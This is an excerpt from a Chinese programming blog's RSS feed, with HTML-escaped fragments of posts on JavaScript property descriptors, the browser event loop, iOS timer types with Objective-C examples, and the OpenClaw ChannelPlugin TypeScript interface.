&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-arduino" data-lang="arduino"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;当且仅当该属性的&lt;/span&gt; configurable &lt;span style="color:#960050;background-color:#1e0010"&gt;为&lt;/span&gt; true &lt;span style="color:#960050;background-color:#1e0010"&gt;时，该属性描述符才能够被改变，也能够被删除。默认为&lt;/span&gt; false&lt;span style="color:#960050;background-color:#1e0010"&gt;。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;enumerable&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-arduino" data-lang="arduino"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;当且仅当该属性的&lt;/span&gt; enumerable &lt;span style="color:#960050;background-color:#1e0010"&gt;为&lt;/span&gt; true &lt;span style="color:#960050;background-color:#1e0010"&gt;时，该属性才能够出现在对象的枚举属性中。默认为&lt;/span&gt; false&lt;span style="color:#960050;background-color:#1e0010"&gt;。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;数据描述符同时具有以下可选键值&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;value&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;该属性对应的值&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;。&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;可以是任何有效的&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;JavaScript&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;值&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;（&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;数值&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;对象&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;函数等&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;）。&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;默认为&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;undefined&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;writable&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-arduino" data-lang="arduino"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;当且仅当该属性的&lt;/span&gt; writable &lt;span style="color:#960050;background-color:#1e0010"&gt;为&lt;/span&gt; true &lt;span style="color:#960050;background-color:#1e0010"&gt;时，该属性才能被赋值运算符改变。默认为&lt;/span&gt; false&lt;span style="color:#960050;background-color:#1e0010"&gt;。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;存取描述符同时具有以下可选键值&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;get&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;一个给属性提供&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getter&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;的方法&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;如果没有&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getter&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;则为&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;undefined&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;。&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;该方法返回值被用作属性值&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;。&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;默认为&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;undefined&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;set&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;一个给属性提供&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;setter&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;的方法&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;如果没有&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;setter&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;则为&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;undefined&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;。&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;该方法将接受唯一参数&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;，&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;并将该参数的新值分配给该属性&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;。&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;默认为&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;undefined&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;值得注意的是：&lt;/p&gt;</description></item><item><title>事件循环</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-014/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-014/</guid><description>&lt;h2 id="单线程的-javascript"&gt;单线程的 JavaScript&lt;/h2&gt;
&lt;h3 id="同步与异步"&gt;同步与异步&lt;/h3&gt;
&lt;p&gt;JavaScript 在设计之初是作为&lt;strong&gt;浏览器脚本语言&lt;/strong&gt;，主要用于与用户进行&lt;strong&gt;页面交互&lt;/strong&gt;和&lt;strong&gt;操纵 DOM&lt;/strong&gt;。因此，为避免由不可预测的用户操作可能带来的复杂的并发问题，JavaScript 只能设计成&lt;strong&gt;单线程&lt;/strong&gt;的，这也是这门语言的核心特征之一。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;JS 的宿主环境通过仅提供一个线程运行 JS 来保证 JS 代码的单线程运行。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;单线程意味着 JS 引擎在同一时间只能做一件事情，即&lt;strong&gt;同步&lt;/strong&gt;地执行代码。但在代码执行过程中不可避免地会遇到一些&lt;strong&gt;无法立即执行&lt;/strong&gt;的任务，例如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;计时器到达时间后要执行的任务 &amp;mdash; &lt;code&gt;setInterval&lt;/code&gt;、&lt;code&gt;setTimeout&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;网络请求完成后要执行的任务 &amp;mdash; &lt;code&gt;XMLHttpRequest&lt;/code&gt;、&lt;code&gt;Fetch&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;监听到用户操作后要执行的任务 &amp;mdash; &lt;code&gt;addEventListener&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&amp;hellip; &amp;hellip; &amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果让执行 JS 的线程去处理这些任务，就会导致该线程处于&lt;strong&gt;长期阻塞&lt;/strong&gt;的状态，而宿主环境中的 JS 执行线程往往还承担着极其重要的工作。例如，在浏览器中，如果执行 JS 的线程长期阻塞，就会导致浏览器卡死！&lt;/p&gt;
&lt;p&gt;为避免上述情况发生，JS 的宿主环境使用了&lt;strong&gt;异步&lt;/strong&gt;的方式来处理这种无法立即执行的任务。&lt;/p&gt;
&lt;p&gt;当遇到异步任务时，宿主环境会将其交给&lt;strong&gt;其他线程&lt;/strong&gt;处理，执行 JS 的线程则会立即结束当前任务转而去执行后续代码。&lt;/p&gt;
&lt;h3 id="事件循环"&gt;事件循环&lt;/h3&gt;
&lt;p&gt;事件循环是宿主环境处理 JS 异步操作，让其能够&lt;strong&gt;非阻塞式运行&lt;/strong&gt;的机制。&lt;/p&gt;
&lt;p&gt;不同宿主环境对事件循环的实现方式有所不同，不过在核心机制上大同小异。&lt;/p&gt;
&lt;p&gt;接下来，本文将详细描述 JavaScript 在&lt;strong&gt;浏览器&lt;/strong&gt;和 &lt;strong&gt;Node.js&lt;/strong&gt; 这两个宿主环境中的事件循环机制。&lt;/p&gt;
&lt;h2 id="浏览器事件循环"&gt;浏览器事件循环&lt;/h2&gt;
&lt;h3 id="浅谈浏览器"&gt;浅谈浏览器&lt;/h3&gt;
&lt;p&gt;聊浏览器的事件循环之前，我们先说说浏览器本身。&lt;/p&gt;
&lt;p&gt;现代浏览器是一个&lt;strong&gt;多进程多线程&lt;/strong&gt;的应用程序，内部工作极其复杂，其程度直逼操作系统。它拥有数个功能模块，为避免单个模块崩溃牵连其他模块，导致连锁反应，使浏览器彻底崩溃。浏览器在启动时，会开启多个进程，把不同的功能模块放在&lt;strong&gt;不同的进程&lt;/strong&gt;里。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-014/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;浏览器进程众多，其中比较&lt;strong&gt;重要&lt;/strong&gt;的有：&lt;/p&gt;
&lt;p&gt;📚 浏览器进程&lt;/p&gt;
&lt;p&gt;浏览器进程是浏览器的&lt;strong&gt;主进程&lt;/strong&gt;，无论打开多少浏览器窗口，它仅有&lt;strong&gt;一个&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;它主要负责浏览器&lt;strong&gt;界面显示&lt;/strong&gt;、&lt;strong&gt;用户交互&lt;/strong&gt;和&lt;strong&gt;进程管理&lt;/strong&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里说的界面和交互，不是视窗内的网站界面。而是指浏览器本身自带的部分，如导航栏、书签栏、刷新按钮等。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;刚打开浏览器的时候只有一个浏览器进程，其他进程都是它创建的。&lt;/p&gt;
&lt;p&gt;📚 网络进程&lt;/p&gt;
&lt;p&gt;网络进程主要负责处理网站的&lt;strong&gt;数据请求和响应&lt;/strong&gt;，通常情况下，它与&lt;strong&gt;渲染进程&lt;/strong&gt;的交互最为密切。每当网站需要进行资源请求，渲染进程就会将任务交给网络进程处理，网络进程取得响应结果后再返回给渲染进程。&lt;/p&gt;
&lt;p&gt;网络进程内部会开启多个线程，以实现&lt;strong&gt;多网络请求&lt;/strong&gt;的&lt;strong&gt;异步化处理&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;📚 渲染进程&lt;/p&gt;
&lt;p&gt;渲染进程负责控制和显示&lt;strong&gt;视窗&lt;/strong&gt;部分（网站页面）的所有内容，主要是解析 HTML、CSS、JS 和其他资源，并生成渲染树、执行布局和绘制等操作。&lt;/p&gt;</description></item><item><title>iOS 定时器的注意事项</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/timer%E7%9A%84%E6%B3%A8%E6%84%8F%E4%BA%8B%E9%A1%B9/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/timer%E7%9A%84%E6%B3%A8%E6%84%8F%E4%BA%8B%E9%A1%B9/</guid><description>&lt;p&gt;iOS 开发中常用的定时器有 NSTimer、CADisplayLink 和 GCD Timer。它们各有特点，但在使用时都有一些需要注意的问题。&lt;/p&gt;
&lt;h2 id="常见定时器类型"&gt;常见定时器类型&lt;/h2&gt;
&lt;h3 id="1-nstimer"&gt;1. NSTimer&lt;/h3&gt;
&lt;p&gt;最常用的定时器，基于 RunLoop 实现：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 自动添加到当前 RunLoop 的 DefaultMode
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NSTimer &lt;span style="color:#f92672"&gt;*&lt;/span&gt;timer &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [NSTimer scheduledTimerWithTimeInterval:&lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; target:self
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; selector:&lt;span style="color:#66d9ef"&gt;@selector&lt;/span&gt;(timerFired)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; userInfo:nil
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; repeats:YES];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 手动创建，需要手动添加到 RunLoop
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NSTimer &lt;span style="color:#f92672"&gt;*&lt;/span&gt;timer &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [NSTimer timerWithTimeInterval:&lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; target:self
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; selector:&lt;span style="color:#66d9ef"&gt;@selector&lt;/span&gt;(timerFired)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; userInfo:nil
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; repeats:YES];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[[NSRunLoop currentRunLoop] addTimer:timer forMode:NSDefaultRunLoopMode];
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2-cadisplaylink"&gt;2. CADisplayLink&lt;/h3&gt;
&lt;p&gt;与屏幕刷新率同步的定时器，适合做动画：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CADisplayLink &lt;span style="color:#f92672"&gt;*&lt;/span&gt;displayLink &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [CADisplayLink displayLinkWithTarget:self
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; selector:&lt;span style="color:#66d9ef"&gt;@selector&lt;/span&gt;(update)];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[displayLink addToRunLoop:[NSRunLoop currentRunLoop] forMode:NSDefaultRunLoopMode];
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="3-gcd-timer"&gt;3. GCD Timer&lt;/h3&gt;
&lt;p&gt;不依赖 RunLoop，精度更高：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dispatch_source_t timer &lt;span style="color:#f92672"&gt;=&lt;/span&gt; dispatch_source_create(DISPATCH_SOURCE_TYPE_TIMER, &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, dispatch_get_main_queue());
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dispatch_source_set_timer(timer, DISPATCH_TIME_NOW, &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; NSEC_PER_SEC, &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dispatch_source_set_event_handler(timer, &lt;span style="color:#f92672"&gt;^&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; NSLog(&lt;span style="color:#e6db74"&gt;@&amp;#34;GCD Timer fired&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dispatch_resume(timer);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="注意事项一循环引用问题"&gt;注意事项一：循环引用问题&lt;/h2&gt;
&lt;h3 id="问题描述"&gt;问题描述&lt;/h3&gt;
&lt;p&gt;NSTimer 和 CADisplayLink 在使用 target-action 模式时，会强引用 target。如果 target 又持有定时器，就会形成循环引用：&lt;/p&gt;</description></item><item><title>OpenClaw 源码导读（四）：Channels、Nodes 与扩展生态</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ai/openclaw-channels%E4%B8%8E%E6%89%A9%E5%B1%95%E7%94%9F%E6%80%81/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ai/openclaw-channels%E4%B8%8E%E6%89%A9%E5%B1%95%E7%94%9F%E6%80%81/</guid><description>&lt;blockquote&gt;
&lt;p&gt;前三篇我们看清了 OpenClaw 的三副骨架：架构全景、Gateway 控制平面、Agent Harness 执行管线。这一篇是压轴篇，我们看它的&amp;quot;血肉&amp;quot;——&lt;strong&gt;&lt;code&gt;channels/&lt;/code&gt;、&lt;code&gt;node-host/&lt;/code&gt;、&lt;code&gt;canvas-host/&lt;/code&gt;、&lt;code&gt;plugins/&lt;/code&gt;、&lt;code&gt;skills/&lt;/code&gt;、&lt;code&gt;sandbox/&lt;/code&gt;&lt;/strong&gt;。OpenClaw 真正&amp;quot;好用&amp;quot;的感觉，是从这一层来的：一条消息从 WhatsApp 进来、触发 iOS 上的摄像头、在 Android 上渲染一张 Canvas、最后把结果发回 Slack 线程——整个过程中 Gateway 本身一行代码都不需要改。&lt;/p&gt;
&lt;p&gt;本文涵盖 &lt;strong&gt;118 个 channel/provider extension、53 个 skill、iOS/macOS/Android node 客户端、A2UI Canvas 协议、以及 Docker sandbox 的整套隔离模型&lt;/strong&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="一channels118-个-extension-是怎么插进来的"&gt;一、Channels：118 个 extension 是怎么&amp;quot;插&amp;quot;进来的&lt;/h2&gt;
&lt;h3 id="1-channelplugin-接口"&gt;1. ChannelPlugin 接口&lt;/h3&gt;
&lt;p&gt;OpenClaw 所有 channel（微信、Telegram、Slack、iMessage、IRC、Discord……）本质上都是实现同一个接口 &lt;code&gt;ChannelPlugin&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-53:96:src/channels/plugins/types.plugin.ts" data-lang="53:96:src/channels/plugins/types.plugin.ts"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;type&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ChannelPlugin&lt;/span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;ResolvedAccount&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;any&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;Probe &lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;unknown&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;Audit &lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;unknown&lt;/span&gt;&amp;gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelId&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;meta&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelMeta&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;capabilities&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelCapabilities&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;defaults&lt;/span&gt;&lt;span style="color:#f92672"&gt;?:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;queue&lt;/span&gt;&lt;span style="color:#f92672"&gt;?:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;debounceMs?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;number&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;reload&lt;/span&gt;&lt;span style="color:#f92672"&gt;?:&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;configPrefixes&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;string&lt;/span&gt;[]; &lt;span style="color:#a6e22e"&gt;noopPrefixes?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;string&lt;/span&gt;[] };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;setupWizard?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelPluginSetupWizard&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;config&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelConfigAdapter&lt;/span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;ResolvedAccount&lt;/span&gt;&amp;gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;configSchema?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelConfigSchema&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;setup?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelSetupAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;pairing?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelPairingAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;security?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelSecurityAdapter&lt;/span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;ResolvedAccount&lt;/span&gt;&amp;gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;groups?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelGroupAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;mentions?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelMentionAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;outbound?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelOutboundAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;status?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelStatusAdapter&lt;/span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;ResolvedAccount&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;Probe&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;Audit&lt;/span&gt;&amp;gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;gatewayMethods?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;string&lt;/span&gt;[];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;gateway?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelGatewayAdapter&lt;/span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;ResolvedAccount&lt;/span&gt;&amp;gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;auth?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelAuthAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;approvalCapability?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelApprovalCapability&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;elevated?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelElevatedAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;commands?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelCommandAdapter&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;lifecycle?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;ChannelLifecycleAdapter&lt;/span&gt;;
